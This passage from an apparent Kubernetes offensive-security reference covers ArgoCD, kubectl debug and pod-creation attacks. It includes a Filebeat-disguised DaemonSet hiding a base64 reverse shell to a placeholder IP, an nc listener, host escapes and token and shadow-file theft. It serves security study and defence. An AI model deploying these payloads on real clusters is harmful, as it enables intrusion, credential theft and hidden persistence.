`Application` object as a **trusted instruction**. It does not verify whether the user who created the `Application` actually has permission to deploy the resources defined inside it. The authorization check happens at the **ArgoCD RBAC level only**, not at the Kubernetes resource level for the requesting user. ## The attack sequence ### Repository Setup The attacker hosts a Git repository that mimics a real internal infrastructure repository, using names, labels, and images that blend in with legitimate cluster tooling. ArgoCD only needs read access to it. The manifest is disguised as Filebeat, a widely deployed log shipping agent that runs as a DaemonSet on every node in most production clusters. Filebeat legitimately requires access to host log directories and runs as root, making the `hostPath` mounts and `runAsUser: 0` security context completely expected to anyone reviewing the manifest. The reverse shell payload is **base64-encoded** and stored in an environment variable named `FB_CONF_CHECKSUM`. The name is deliberately chosen to blend in with real Filebeat environment variables like `ELASTICSEARCH_HOST` and `ELASTICSEARCH_PORT`. To anyone running `kubectl describe`, the value looks like an opaque configuration checksum rather than an executable payload. The `command` field runs the payload in a **background subshell** first, then immediately replaces itself with the real Filebeat binary using `exec`. This means the main container process is always the **legitimate Filebeat process**. The reverse shell runs as a detached child process and does not appear in the container's **PID 1**. ```yaml apiVersion: apps/v1 kind: DaemonSet metadata: name: filebeat namespace: logging labels: app: filebeat app.kubernetes.io/name: filebeat app.kubernetes.io/managed-by: argocd app.kubernetes.io/part-of: logging spec: selector: matchLabels: app: filebeat template: metadata: labels: app: filebeat app.kubernetes.io/name: filebeat spec: hostPID: true hostNetwork: true hostIPC: true tolerations: - operator: Exists securityContext: runAsUser: 0 containers: - name: filebeat image: docker.elastic.co/beats/filebeat:8.13.0 command: - bash - -c - | (echo $FB_CONF_CHECKSUM | base64 -d | bash &) exec /usr/share/filebeat/filebeat -e env: - name: ELASTICSEARCH_HOST value: "elasticsearch.logging.svc.cluster.local" - name: ELASTICSEARCH_PORT value: "9200" - name: FB_CONF_CHECKSUM value: "YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54LzQ0NDQgMD4mMQ==" volumeMounts: - mountPath: /host name: host-root readOnly: false volumes: - name: host-root hostPath: path: / ``` The bash reverse shell is not the only option. The payload can be swapped for any technique that fits the tools available inside the image. Python socket connections, Perl one-liners, or a pre-compiled binary dropped from a remote server are all viable alternatives. The limiting factor is always what is installed in the container image. A more reliable approach is using a **C2 agent** beacon as the encoded payload in `FB_CONF_CHECKSUM` instead of a raw reverse shell. When the pod starts, it decodes and executes the beacon which calls back to the attacker's C2 server such as Sliver, Havoc or Mythic. A reverse shell gives a single interactive session. If the connection drops, the reverse shell process exits but the pod keeps running. The attacker must delete the pod to trigger selfHeal and spawn a new session. A C2 beacon runs as a persistent background process inside the pod and reconnects to the C2 server automatically when the connection drops, without requiring the pod to be restarted. Filebeat is Ubuntu-based, so `bash`, `curl`, `python3` and other common tools are available. This makes it a flexible payload host. Choosing a disguise image that includes a shell is therefore a deliberate part of this technique. > [!NOTE] > Distroless images ship with no shell, no package manager and often no standard utilities at all, which significantly limits what an attacker can execute directly inside the container. If the target cluster enforces distroless images, the attacker must rely on a pre-compiled static binary or find another execution path. The `FB_CONF_CHECKSUM` value decodes to the following reverse shell command, where `x.x.x.x` is replaced with the attacker's listener IP: ```bash bash -i >& /dev/tcp/x.x.x.x/4444 0>&1 ``` Mounting the **host root filesystem** at `/host` is sufficient to take over the node. From inside the container, the attacker has full read and write access to every file on the host including **kubelet credentials**, **container runtime sockets**, SSH keys and secrets from other pods. The attacker listens for the incoming connection: ```bash nc -lvnp 4444 ``` ### Mounting a Privileged ServiceAccount Mounting the host filesystem is not the only path. An attacker can also specify a **high-privileged ServiceAccount** in the pod spec using `serviceAccountName`. The pod will then have that ServiceAccount's token mounted automatically at runtime, giving API server access at whatever privilege level that ServiceAccount holds. The key requirement is knowing what ServiceAccounts exist in the **destination namespace**. ServiceAccounts are namespace-scoped, so the pod can only reference SAs in the same namespace it is deployed into. This is where knowing what ServiceAccounts are present by default matters. If the destination namespace is `argocd`, the attacker can reference `argocd-application-controller`, which holds full wildcard cluster permissions by design. If deploying into another namespace, the attacker needs to identify a high-privileged SA that exists there. The ArgoCD Application destination must point to the namespace where the SA exists: ```yaml spec: destination: namespace: argocd ``` The pod manifest deployed by ArgoCD then references the SA by name: ```yaml spec: serviceAccountName: argocd-application-controller containers: - name: filebeat ... ``` `argocd-application-controller` is bound to a ClusterRole with full wildcard permissions across every API group, resource, and verb in the cluster, effectively equivalent to `cluster-admin`: ```yaml rules: - apiGroups: ["*"] resources: ["*"] verbs: ["*"] ``` This means the token grants the ability to read and write any resource in any namespace including Secrets, create ClusterRoleBindings, modify workloads, and access etcd-backed data. Once the pod is running, the token is available at the standard mount path and can be used directly against the API server: ```bash cat /var/run/secrets/kubernetes.io/serviceaccount/token ``` This approach is useful when the target namespace has Pod Security Admission or admission webhooks that block hostPath mounts, since it requires no volume mounts at all. ### Creating the Application The attacker creates an ArgoCD `Application` pointing to their repository. The name, labels, and path structure are all chosen to mirror how a real logging stack would appear in the ArgoCD UI, indistinguishable from a deployment made by the platform team. The `repoURL` uses `` as a placeholder for the attacker's GitHub organization. In practice this would be named to resemble an internal team or a known open source project to avoid raising suspicion when reviewed. ```yaml apiVersion: argoproj.io/v1alpha1 kind: Application metadata: name: filebeat namespace: argocd labels: team: platform component: logging env: production spec: project: default source: repoURL: https://github.com//helm-charts targetRevision: main path: charts/filebeat destination: server: https://kubernetes.default.svc namespace: logging syncPolicy: automated: prune: false selfHeal: true ``` Within seconds of creation, ArgoCD syncs the manifests and the DaemonSet is deployed across every node in the cluster. Each node independently calls back to the attacker. ### Persistence Through selfHeal The **`selfHeal: true`** sync policy is what makes this technique persistent. If a defender detects and deletes the malicious DaemonSet or its pods, ArgoCD detects the **drift** from the desired Git state and immediately reconciles by recreating the resources. This cycle repeats **indefinitely** until the `Application` object itself is removed. ``` Defender deletes daemonset/filebeat ↓ ArgoCD detects drift from desired state ↓ ArgoCD recreates daemonset/filebeat within seconds ↓ Pod calls back to attacker on all nodes ``` The only way to stop this cycle is to delete the `Application` object or suspend ArgoCD sync. Both actions require ArgoCD admin access or cluster-level permissions that the attacker did not need to create the situation in the first place. ### Weaponizing kubectl debug HTML: https://kubernetes-security.cloud/topics/weaponizing-kubectl-debug Markdown: https://kubernetes-security.cloud/topics/weaponizing-kubectl-debug.md --- title: "Weaponizing kubectl debug" description: "Why kubectl debug is a privilege escalation path, not just a troubleshooting tool" category: "offensive" phase: "privilege-escalation" offensiveType: "privilege-escalation" impact: "Ephemeral debug inherits the pod's network namespace, service account, and volume mounts. Node debug mounts the host filesystem at `/host`, `chroot /host` gives full host root access." mitigation: - "Apply the same guardrails to debug flows as you do for privileged or `hostPath` pods (PSA, Kyverno, Gatekeeper), including `pods/ephemeralcontainers` and `pods/create` when they feed into debug." - "Keep `pods/exec`, `pods/attach`, and `pods/ephemeralcontainers` on tight break-glass roles. Watch audit logs for EphemeralContainer changes and debugger-style pods." - "Where you can, run setups where tenants never get anything close to node debug. Turn off ephemeral containers if you are not using them." tools: - "kubectl" mitreTechniques: - "T1611" - "T1552" - "T1078" - "T1059" kubernetesVersion: "1.23+" createdAt: "2026-04-05T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1: Verify RBAC permissions - Category: offensive - Phase: Privilege Escalation - Objective: Why kubectl debug is a privilege escalation path, not just a troubleshooting tool ### Action checklist - Step 1: Verify RBAC permissions - 1. Ephemeral containers - 2. Node debugging - What `--profile=sysadmin` means ### Key commands - `kubectl auth can-i get pods` - `kubectl auth can-i patch pods/ephemeralcontainers` - `kubectl auth can-i create pods` - `kubectl auth can-i get nodes` - `kubectl debug -it -n --image=busybox:1.36 --target=` - `kubectl debug node/ -it --image=busybox:1.36 --profile=sysadmin` - `chroot /host /bin/sh` --- `kubectl debug` is for break-glass work. You either attach an ephemeral debugger to a pod that is already running, or you start a node debugger whose profile controls how close you get to the host. ## The attack sequence The attacker uses `kubectl debug` to access running containers or nodes with elevated privileges. ### Step 1: Verify RBAC permissions Check which debug-related permissions are available: ```bash kubectl auth can-i get pods kubectl auth can-i patch pods/ephemeralcontainers kubectl auth can-i create pods kubectl auth can-i get nodes ``` ## RBAC for kubectl debug access Use a `ClusterRole` instead if you must list nodes or create debugger pods across more than one namespace. ### 1. Ephemeral containers You must be able to read the target pod and patch its `pods/ephemeralcontainers` subresource. For an interactive `kubectl debug -it` session you also need attach access on that pod. Sample `Role` for running ephemeral containers for debugging: ```yaml rules: - apiGroups: [""] resources: ["pods"] verbs: ["get", "list"] - apiGroups: [""] resources: ["pods/ephemeralcontainers"] verbs: ["patch"] - apiGroups: [""] resources: ["pods/attach"] verbs: ["create", "get"] ``` Replace ``, ``, and `` with real values. ```bash kubectl debug -it -n --image=busybox:1.36 --target= ``` Without `--target`, ephemeral container joins the pod's network namespace but gets its own isolated PID namespace, so you can't see other containers' processes. With `--target=`, ephemeral container shares that container's PID namespace, so `ps aux` shows the target container's processes. Useful for inspecting what's actually running inside it. ### 2. Node debugging Node debugging still creates a normal Pod object. `kubectl` fills in the pod spec for you, including host-oriented settings. That generated spec is often very powerful. For `kubectl debug -it` you typically need `pods/create`, `get`,`list` on pods, `get`,`list` on nodes (to choose a node), and `attach` on the debugger pod. The exact mounts and capabilities depend on the debug profile and your server version. ```yaml rules: - apiGroups: [""] resources: ["nodes"] verbs: ["get", "list"] - apiGroups: [""] resources: ["pods"] verbs: ["create", "delete", "get", "list"] - apiGroups: [""] resources: ["pods/attach"] verbs: ["create", "get"] ``` Replace `` with the node you want: ```bash kubectl debug node/ -it --image=busybox:1.36 --profile=sysadmin ``` ### What `--profile=sysadmin` means The `--profile` flag picks a built-in template for the debugger pod. That template sets the security context and related fields. It is not a Linux `sysctl` profile. For `kubectl debug node`, the upstream docs describe the default-style debugger as not privileged, even though it joins the node’s PID, network, and IPC namespaces and mounts `/host`. In that situation `chroot /host` can fail, because the process may still lack the privileges `chroot` needs. The `sysadmin` profile is the strongest of the standard presets that `kubectl` documents (`legacy`, `general`, `baseline`, `netadmin`, `restricted`, `sysadmin`). If you omit `--profile`, the client default for that flag is `legacy`. Always confirm the real behavior on your cluster against the official [Debugging profiles](https://kubernetes.io/docs/tasks/debug/debug-application/debug-running-pod/#debugging-profiles) page. After `kubectl debug node` gives you a shell, move into the host root like this: ```bash chroot /host /bin/sh ``` The node’s root filesystem is usually mounted inside the debugger pod at `/host`. Running `chroot /host /bin/sh` makes `/` point at the host root, so you see the entire host filesystem. ### Weaponizing Pod Creation Access HTML: https://kubernetes-security.cloud/topics/weaponizing-pod-creation Markdown: https://kubernetes-security.cloud/topics/weaponizing-pod-creation.md --- title: "Weaponizing Pod Creation Access" description: "How pod creation permissions can be leveraged to escalate privileges and escape to the underlying node" category: "offensive" phase: "privilege-escalation" offensiveType: "privilege-escalation" impact: "An attacker with pod creation access can potentially gain node-level access, steal credentials, or achieve cluster-admin privileges" mitigation: - "Restrict pod creation using Pod Security Admission" - "Use admission controllers to block dangerous pod configurations" tools: [] mitreTechniques: - "T1611" - "T1548" kubernetesVersion: null createdAt: "2026-01-16T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1: Identify available node access methods - Category: offensive - Phase: Privilege Escalation - Objective: How pod creation permissions can be leveraged to escalate privileges and escape to the underlying node ### Action checklist - Create a pod with **hostPath** mount of `/` or `/var/lib/kubelet` to access the host filesystem - Use stolen high-privilege service account tokens to authenticate to the API server with elevated permissions - If the stolen token has sufficient RBAC permissions (like `create clusterrolebindings`), escalate to **cluster-admin** by creating privileged role bindings - Alternatively, search the host filesystem for kubeconfig files ### Key commands - `kubectl exec -it host-mount -- sh` - `cat /host/etc/shadow` - `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` - `ps aux` --- In Kubernetes, the ability to create pods is one of the most powerful permissions an attacker can obtain. While it may seem like a basic workload operation, pod creation provides direct control over what runs on cluster nodes, including access to host resources, privileged capabilities, and service account tokens. ## The attack sequence An attacker with `pods/create` permissions crafts malicious pod specs to escape container boundaries and access node or cluster-level resources. ### Step 1: Identify available node access methods The attacker determines which pod capabilities are not blocked by admission controllers: - `hostPath` volumes — mount node filesystem - `privileged: true` — full device access - `hostPID`, `hostNetwork` — host namespace sharing - `nodeSelector` — target specific nodes ### Step 2: Create the malicious pod The most direct path to node compromise is mounting the host filesystem into a pod. With access to the host's root filesystem, an attacker can read sensitive files, modify system configurations, or inject malicious code. ```yaml apiVersion: v1 kind: Pod metadata: name: host-mount spec: nodeName: worker-node-01 # Target specific node if known from enumeration containers: - name: shell image: busybox command: ["sleep", "infinity"] volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / type: Directory ``` If the attacker has enumerated the cluster and identified high-value targets (such as control plane nodes or nodes running sensitive workloads), they can use the **nodeName** field to deploy the malicious pod directly to that specific node. Once the pod is running, the entire host filesystem is accessible at `/host`: ```bash kubectl exec -it host-mount -- sh cat /host/etc/shadow ``` Once a node is compromised, an attacker can often escalate to full cluster control. ## Privileged Container Breakout A privileged container runs with all Linux capabilities and has access to host devices. This effectively removes the container isolation boundary. ```yaml apiVersion: v1 kind: Pod metadata: name: privileged-pod spec: containers: - name: shell image: busybox command: ["sleep", "infinity"] securityContext: privileged: true ``` From a privileged container, an attacker gains access to host devices via `/dev`, can mount the host filesystem using `nsenter`, load kernel modules, and modify iptables rules. The most direct escape is through the `nsenter` command: ```bash # From inside the privileged container nsenter --target 1 --mount --uts --ipc --net --pid -- bash ``` This command enters the host's namespaces via PID 1 (the init process), effectively escaping to the node. ## Exploiting Host Namespaces Even without setting **privileged: true**, access to the host's PID or network namespace provides significant attack surface. ```yaml apiVersion: v1 kind: Pod metadata: name: host-pid-pod spec: hostPID: true hostNetwork: true containers: - name: shell image: busybox command: ["sleep", "infinity"] ``` With **hostPID: true**, the container can see all processes on the node: ```bash ps aux ``` This exposes process arguments that may contain secrets, environment variables, or other sensitive data. Combined with **hostNetwork: true**, the container shares the node's network stack, allowing access to services bound to localhost or node-specific network resources. ## Service Account Token Theft Every pod has access to a service account token unless explicitly disabled. If an attacker knows or discovers a service account name in the namespace, they can create a pod using that account to inherit its permissions. ```yaml apiVersion: v1 kind: Pod metadata: name: steal-permissions spec: serviceAccountName: jenkins-admin containers: - name: kubectl image: bitnami/kubectl command: ["sleep", "infinity"] ``` Once the pod is running, the attacker can explore the service account's permissions using `kubectl auth can-i --list`. ## Using nodeSelector to Target Control Plane An attacker can target specific nodes, such as control plane nodes, using node selectors or tolerations. ```yaml apiVersion: v1 kind: Pod metadata: name: control-plane-pod spec: nodeSelector: node-role.kubernetes.io/control-plane: "" tolerations: - key: "node-role.kubernetes.io/control-plane" operator: "Exists" effect: "NoSchedule" containers: - name: shell image: busybox command: ["sleep", "infinity"] volumeMounts: - name: etcd-data mountPath: /etcd volumes: - name: etcd-data hostPath: path: /var/lib/etcd type: Directory ``` > [!NOTE] > In cloud-managed Kubernetes clusters (GKE, EKS, AKS), the control plane, etcd, and controller manager are fully managed by the provider and cannot be accessed or targeted by users. This pod targets a control plane node and mounts the etcd data directory. **By default, Kubernetes does not enable encryption at rest for etcd**, meaning all cluster state including Secrets are stored in base64 encoding without encryption. An attacker with access to the etcd data directory can read all **Secrets**, **ConfigMaps**, and cluster configuration in plaintext. Even in clusters where encryption at rest has been manually enabled, an attacker with control plane filesystem access can locate and extract the encryption keys from the configuration file specified in the API server's `--encryption-provider-config` flag (the path and filename are entirely administrator-defined). Compromising etcd effectively grants complete control over the entire cluster. ## Chaining Techniques for Privilege Escalation Attackers commonly chain these techniques together. A typical escalation path: 1. Create a pod with **hostPath** mount of `/` or `/var/lib/kubelet` to access the host filesystem 2. Use stolen high-privilege service account tokens to authenticate to the API server with elevated permissions 3. If the stolen token has sufficient RBAC permissions (like `create clusterrolebindings`), escalate to **cluster-admin** by creating privileged role bindings 4. Alternatively, search the host filesystem for kubeconfig files The fundamental issue is that pod creation without admission control bypasses many security boundaries. Even with Pod Security Admission set to **baseline**, dangerous configurations like automatic service account token mounting and the ability to use high-privilege service accounts remain possible. ## Tools HTML: https://kubernetes-security.cloud/tools JSON: https://kubernetes-security.cloud/tools.json ### Calico - URL: https://www.tigera.io/project-calico/ - Types: defensive - Network policy engine for Kubernetes ### CDK - URL: https://github.com/cdk-team/CDK - Types: offensive - An open-sourced container penetration toolkit ### Cilium - URL: https://cilium.io/ - Types: defensive - eBPF-based networking, security, and observability ### Falco - URL: https://falco.org/ - Types: defensive - Runtime security for Kubernetes ### kdigger - URL: https://github.com/quarkslab/kdigger - Types: offensive - A context discovery tool for Kubernetes penetration testing ### kube-bench - URL: https://github.com/aquasecurity/kube-bench - Types: audit - CIS Kubernetes Benchmark checker ### kube-hunter - URL: https://github.com/aquasecurity/kube-hunter - Types: offensive - Hunt for security weaknesses in Kubernetes clusters ### kube-score - URL: https://github.com/zegl/kube-score - Types: compliance - Kubernetes object analysis with recommendations ### kubeaudit - URL: https://github.com/Shopify/kubeaudit - Types: audit - Kubernetes security auditing tool ### kubectl - URL: https://kubernetes.io/docs/reference/kubectl/ - Types: audit - Kubernetes command-line tool for cluster management ### kubeletctl - URL: https://github.com/cyberark/kubeletctl - Types: offensive - Command-line tool for Kubelet API ### Kubewarden - URL: https://github.com/kubewarden/kubewarden - Types: defensive - Policy engine for Kubernetes ### Kyverno - URL: https://kyverno.io/ - Types: defensive - Policy engine for Kubernetes ### OPA Gatekeeper - URL: https://open-policy-agent.github.io/gatekeeper/ - Types: defensive - Policy controller for Kubernetes ### Peirates - URL: https://github.com/inguardians/peirates - Types: offensive - Kubernetes penetration testing tool ### Polaris - URL: https://github.com/FairwindsOps/polaris - Types: compliance - Kubernetes best practices validation ### Tetragon - URL: https://tetragon.io/ - Types: defensive - Tetragon is a runtime security and observability platform for Kubernetes. ### Trivy - URL: https://github.com/aquasecurity/trivy - Types: audit - Comprehensive security scanner for containers and Kubernetes ## MITRE ATT&CK techniques mapped on this site HTML: https://kubernetes-security.cloud/techniques JSON: https://kubernetes-security.cloud/techniques.json ### T1021 Remote Services - Tactic: Lateral Movement - ATT&CK: https://attack.mitre.org/techniques/T1021 - Topics: Abusing Kubernetes API Server Proxy (https://kubernetes-security.cloud/topics/abusing-kubernetes-api-server-proxy) Adversaries may use remote services to move between systems and access remote resources. ### T1036 Masquerading - Tactic: Defense Evasion - ATT&CK: https://attack.mitre.org/techniques/T1036 - Topics: Orphan Pod Masquerading (https://kubernetes-security.cloud/topics/orphan-pod-masquerading); Weaponizing Argo Workflows (https://kubernetes-security.cloud/topics/weaponizing-argo-workflows); Weaponizing ArgoCD Application (https://kubernetes-security.cloud/topics/weaponizing-argocd-application) Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and security tools. ### T1046 Network Service Discovery - Tactic: Discovery - ATT&CK: https://attack.mitre.org/techniques/T1046 - Topics: Abusing Kubernetes API Server Proxy (https://kubernetes-security.cloud/topics/abusing-kubernetes-api-server-proxy); Active Internal Network Reconnaissance (https://kubernetes-security.cloud/topics/active-internal-network-reconnaissance); Cluster Reconnaissance via Prometheus (https://kubernetes-security.cloud/topics/cluster-reconnaissance-via-prometheus); Internal Cluster Discovery (https://kubernetes-security.cloud/topics/internal-cluster-discovery); Passive Secret Discovery via kube-state-metrics (https://kubernetes-security.cloud/topics/passive-secret-discovery-via-kube-state-metrics); Secret Exfiltration via ApplicationSet Generators (https://kubernetes-security.cloud/topics/secret-exfiltration-via-applicationset-generators) Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure, including through internal scanning. ### T1059 Command and Scripting Interpreter - Tactic: Execution - ATT&CK: https://attack.mitre.org/techniques/T1059 - Topics: Weaponizing Argo Workflows (https://kubernetes-security.cloud/topics/weaponizing-argo-workflows); Weaponizing ArgoCD Application (https://kubernetes-security.cloud/topics/weaponizing-argocd-application); Weaponizing kubectl debug (https://kubernetes-security.cloud/topics/weaponizing-kubectl-debug) Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. ### T1078 Valid Accounts - Tactic: Initial Access, Persistence, Privilege Escalation, Defense Evasion - ATT&CK: https://attack.mitre.org/techniques/T1078 - Topics: Compromising ArgoCD via Application Sync (https://kubernetes-security.cloud/topics/compromising-argocd-via-application-sync); Compromising etcd via Pod Creation (https://kubernetes-security.cloud/topics/compromising-etcd-via-pod-creation); Kubernetes Impersonation (https://kubernetes-security.cloud/topics/kubernetes-impersonation); Persistence via Unbound Service Account Tokens (https://kubernetes-security.cloud/topics/persistence-via-unbound-serviceaccount-tokens); Privilege Escalation via serviceaccounts/token Permission (https://kubernetes-security.cloud/topics/privilege-escalation-via-serviceaccount-token-creation); ServiceAccount Token Theft (https://kubernetes-security.cloud/topics/serviceaccount-token-theft); Weaponizing Argo Workflows (https://kubernetes-security.cloud/topics/weaponizing-argo-workflows); Weaponizing kubectl debug (https://kubernetes-security.cloud/topics/weaponizing-kubectl-debug) Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. ### T1082 System Information Discovery - Tactic: Discovery - ATT&CK: https://attack.mitre.org/techniques/T1082 - Topics: Cluster Reconnaissance via Prometheus (https://kubernetes-security.cloud/topics/cluster-reconnaissance-via-prometheus) An adversary may attempt to get detailed information about the operating system and hardware. ### T1090 Connection Proxy - Tactic: Command and Control - ATT&CK: https://attack.mitre.org/techniques/T1090 - Topics: Abusing Kubernetes API Server Proxy (https://kubernetes-security.cloud/topics/abusing-kubernetes-api-server-proxy) Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. ### T1098 Account Manipulation - Tactic: Persistence, Privilege Escalation - ATT&CK: https://attack.mitre.org/techniques/T1098 - Topics: Compromising ArgoCD via Application Sync (https://kubernetes-security.cloud/topics/compromising-argocd-via-application-sync) Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. ### T1526 Cloud Service Discovery - Tactic: Discovery - ATT&CK: https://attack.mitre.org/techniques/T1526 - Topics: GKE Anonymous Reconnaissance (https://kubernetes-security.cloud/topics/gke-anonymous-reconnaissance) Adversaries may attempt to list the cloud services running in a cloud environment. Information may include installed API groups, addons, and resource types exposed through discovery endpoints. ### T1528 Steal Application Access Token - Tactic: Credential Access - ATT&CK: https://attack.mitre.org/techniques/T1528 - Topics: Persistence via Unbound Service Account Tokens (https://kubernetes-security.cloud/topics/persistence-via-unbound-serviceaccount-tokens); Privilege Escalation via serviceaccounts/token Permission (https://kubernetes-security.cloud/topics/privilege-escalation-via-serviceaccount-token-creation) Adversaries may steal application access tokens as a means of acquiring credentials to access remote resources and APIs. ### T1530 Data from Cloud Storage - Tactic: Collection - ATT&CK: https://attack.mitre.org/techniques/T1530 - Topics: Data Exfiltration via Kubernetes Events (https://kubernetes-security.cloud/topics/data-exfiltration-via-kubernetes-events) Adversaries may access data from cloud storage. ### T1537 Transfer Data to Cloud Account - Tactic: Exfiltration - ATT&CK: https://attack.mitre.org/techniques/T1537 - Topics: Data Exfiltration via Kubernetes Events (https://kubernetes-security.cloud/topics/data-exfiltration-via-kubernetes-events) Adversaries may exfiltrate data by moving it to another cloud account they control. ### T1543.005 Container Service - Tactic: Persistence, Privilege Escalation - ATT&CK: https://attack.mitre.org/techniques/T1543/005 - Topics: Rogue Static Pod Deployment (https://kubernetes-security.cloud/topics/rogue-static-pod-deployment) Adversaries may create or modify container or container cluster management tools (for example Docker, Podman, or kubelet) that run on hosts to persist or escalate privileges. ### T1548 Abuse Elevation Control Mechanism - Tactic: Privilege Escalation, Defense Evasion - ATT&CK: https://attack.mitre.org/techniques/T1548 - Topics: Compromising ArgoCD via Application Sync (https://kubernetes-security.cloud/topics/compromising-argocd-via-application-sync); Weaponizing Pod Creation Access (https://kubernetes-security.cloud/topics/weaponizing-pod-creation) Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. ### T1550 Use Alternate Authentication Material - Tactic: Defense Evasion, Lateral Movement, Persistence - ATT&CK: https://attack.mitre.org/techniques/T1550 - Topics: Privilege Escalation via serviceaccounts/token Permission (https://kubernetes-security.cloud/topics/privilege-escalation-via-serviceaccount-token-creation) Adversaries may use alternate authentication material to authenticate without access to the underlying password or key material. ### T1550.001 Application Access Token - Tactic: Defense Evasion, Lateral Movement, Persistence - ATT&CK: https://attack.mitre.org/techniques/T1550/001 - Topics: Persistence via Unbound Service Account Tokens (https://kubernetes-security.cloud/topics/persistence-via-unbound-serviceaccount-tokens) Adversaries may use stolen application access tokens to authenticate to services and APIs, including Kubernetes service account tokens issued via TokenRequest. ### T1552 Unsecured Credentials - Tactic: Credential Access - ATT&CK: https://attack.mitre.org/techniques/T1552 - Topics: Compromising etcd via Pod Creation (https://kubernetes-security.cloud/topics/compromising-etcd-via-pod-creation); Secret Exfiltration via ApplicationSet Generators (https://kubernetes-security.cloud/topics/secret-exfiltration-via-applicationset-generators); ServiceAccount Token Theft (https://kubernetes-security.cloud/topics/serviceaccount-token-theft); Weaponizing kubectl debug (https://kubernetes-security.cloud/topics/weaponizing-kubectl-debug) Adversaries may search compromised systems to find and obtain insecurely stored credentials. ### T1564 Hide Artifacts - Tactic: Defense Evasion - ATT&CK: https://attack.mitre.org/techniques/T1564 - Topics: Rogue Static Pod Deployment (https://kubernetes-security.cloud/topics/rogue-static-pod-deployment) Adversaries may attempt to hide artifacts associated with their behaviors to evade detection, such as files, directories, user accounts, or other system activity. ### T1567 Exfiltration Over Web Service - Tactic: Exfiltration - ATT&CK: https://attack.mitre.org/techniques/T1567 - Topics: Secret Exfiltration via ApplicationSet Generators (https://kubernetes-security.cloud/topics/secret-exfiltration-via-applicationset-generators) Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. ### T1578 Modify Cloud Compute Infrastructure - Tactic: Persistence, Privilege Escalation, Defense Evasion - ATT&CK: https://attack.mitre.org/techniques/T1578 - Topics: Abusing Kyverno MutatingPolicy (https://kubernetes-security.cloud/topics/abusing-kyverno-mutatingpolicy) Adversaries may modify cloud compute infrastructure to abuse resources, maintain access, or alter workload behavior. ### T1590 Gather Victim Network Information - Tactic: Reconnaissance - ATT&CK: https://attack.mitre.org/techniques/T1590 - Topics: GKE Anonymous Reconnaissance (https://kubernetes-security.cloud/topics/gke-anonymous-reconnaissance) Adversaries may gather information about the victim's networks that can be used during targeting. Information may include IP ranges, DNS names, and control plane endpoints. ### T1592 Gather Victim Host Information - Tactic: Reconnaissance - ATT&CK: https://attack.mitre.org/techniques/T1592 - Topics: GKE Anonymous Reconnaissance (https://kubernetes-security.cloud/topics/gke-anonymous-reconnaissance) Adversaries may gather information about the victim's hosts that can be used during targeting. Information may include software versions, patch levels, and platform identifiers. ### T1596 Search Open Technical Databases - Tactic: Reconnaissance - ATT&CK: https://attack.mitre.org/techniques/T1596 - Topics: GKE Anonymous Reconnaissance (https://kubernetes-security.cloud/topics/gke-anonymous-reconnaissance) Adversaries may search freely available technical databases for information about victims that can be used during targeting. ### T1606 Forge Web Credentials - Tactic: Credential Access - ATT&CK: https://attack.mitre.org/techniques/T1606 - Topics: Secret Exfiltration via ApplicationSet Generators (https://kubernetes-security.cloud/topics/secret-exfiltration-via-applicationset-generators) Adversaries may forge web credentials such as cookies or tokens to gain access to web applications and services. ### T1610 Deploy Container - Tactic: Execution - ATT&CK: https://attack.mitre.org/techniques/T1610 - Topics: Abusing Kyverno MutatingPolicy (https://kubernetes-security.cloud/topics/abusing-kyverno-mutatingpolicy); Compromising etcd via Pod Creation (https://kubernetes-security.cloud/topics/compromising-etcd-via-pod-creation); Rogue Static Pod Deployment (https://kubernetes-security.cloud/topics/rogue-static-pod-deployment); Weaponizing Argo Workflows (https://kubernetes-security.cloud/topics/weaponizing-argo-workflows); Weaponizing ArgoCD Application (https://kubernetes-security.cloud/topics/weaponizing-argocd-application) Adversaries may deploy a container into an environment to facilitate execution or evade defenses. ### T1611 Escape to Host - Tactic: Privilege Escalation - ATT&CK: https://attack.mitre.org/techniques/T1611 - Topics: Compromising etcd via Pod Creation (https://kubernetes-security.cloud/topics/compromising-etcd-via-pod-creation); Weaponizing ArgoCD Application (https://kubernetes-security.cloud/topics/weaponizing-argocd-application); Weaponizing kubectl debug (https://kubernetes-security.cloud/topics/weaponizing-kubectl-debug); Weaponizing Pod Creation Access (https://kubernetes-security.cloud/topics/weaponizing-pod-creation) Adversaries may break out of a container to gain access to the underlying host. ### T1613 Container and Resource Discovery - Tactic: Discovery - ATT&CK: https://attack.mitre.org/techniques/T1613 - Topics: Cluster Reconnaissance via Prometheus (https://kubernetes-security.cloud/topics/cluster-reconnaissance-via-prometheus); GKE Anonymous Reconnaissance (https://kubernetes-security.cloud/topics/gke-anonymous-reconnaissance); Internal Cluster Discovery (https://kubernetes-security.cloud/topics/internal-cluster-discovery); Passive Secret Discovery via kube-state-metrics (https://kubernetes-security.cloud/topics/passive-secret-discovery-via-kube-state-metrics) Adversaries may attempt to discover containers and other resources that are available within a containers environment.